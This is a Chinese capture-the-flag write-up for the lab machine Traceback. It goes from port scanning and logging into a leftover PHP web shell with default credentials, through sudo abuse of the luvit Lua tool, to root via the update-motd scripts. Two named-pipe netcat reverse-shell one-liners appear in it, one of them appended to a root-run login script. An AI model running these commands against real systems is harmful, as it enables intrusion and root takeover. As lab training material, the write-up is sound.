实验环境
渗透过程
0x01 信息搜集
masscan扫描
sudo masscan 10.10.10.181 -p0-65535 --rate 1000 -e tun0
nmap扫描
sudo nmap -sS -sV -T4 -p- 10.10.10.181
开放22与80端口。
访问80端口,发现有人挂了黑页
联想到该靶机的标题为:Traceback(反追踪),猜测此黑页就是题目所给条件。
0x02 解题过程
查看网页源代码,发现疑似提示语句。
猜测Xh4H
为后门作者,通过搜索引擎查找相关信息。
找到一个代码仓库,对其中后门进行测试,发现http://10.10.10.181/smevk.php
可以访问。
后门源码(部分)如下:
$UserName = "admin"; //Your UserName here.
$auth_pass = "admin"; //Your Password.
使用该密码成功登录后门:
通过后门代码执行,尝试反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.237 4444 >/tmp/f
建立命名管道,并将管道shell通过管道与远程主机相连接。
使用PHP代码执行,反弹shell
得到shell:
查看系统用户信息:
进入当前用户的家目录,获得一个note.txt
提示文件:
user.txt
查看bash历史记录:
发现应该是利用/home/sysadmin/luvit
这个工具执行了一个lua脚本,然后删除了所执行的脚本。
查看:
发现当前用户可以不使用密码利用/home/sysadmin/luvit
工具,构造lua脚本获取拥有sysadmin权限的shell:
利用该shell,得到user.txt。
root.txt
可以看到系统每隔30秒就把/var/backups/.update-motd.d/
中的文件都复制到/etc/update-motd.d/
。
通过搜索得知:motd是message of the day的缩写,意思是“当天的提示信息”,通常在用户成功登录到Linux后出现,该信息可以从
/etc/motd
文本文件中找到。提示:
/etc/motd
文件有时不一定是个常规文本文件,也可能是一个软链接到某个特定的文件,如/var/run/motd
。一般来说,这个文件是一个静态文本文件,只在某个Linux发行版本完成安装或升级后才会更新。
提示:UNIX/Linux系统管理员也通常会把一些重要的信息写到这个文件里面,以方便其他人或自己下次成功登录时需要注意什么和做什么,非常方便。
通常一个标准的motd信息有以下内容:
- 欢迎信息,一般包括Linux发行版本名称,内核版本、操作系统位数
- 操作系统当前信息,如操作系统负载,进程数量,文件系统使用情况,当前用户登录数,内存(含swap)使用情况,IP地址
- 文档和帮助信息
- 可更新的软件包和可升级的安全补丁
找到相应文件目录:
由于手工监视进程较麻烦,然后使用Github开源项目pspy进行监视进程,在监视过程中发现ssh登录成功后会以root用户执行/etc/update-motd.d/下的文件,如图:
使用SSH登录,将本机公钥写入服务器authorized_keys
文件中:
在”欢迎语“中加入一条命令,显示root.txt
:
快速进行登录(服务器定期重置motd),得到root.txt:
或将反弹shell命令写入”欢迎“脚本:
echo "rm /tmp/h;mkfifo /tmp/h;cat /tmp/h|/bin/sh -i 2>&1|nc 10.10.14.237 6666>/tmp/h" >> 00-header
进行ssh登录时,反弹root shell:
python3 -c 'import pty; pty.spawn("/bin/bash")' # 可以获得交互式shell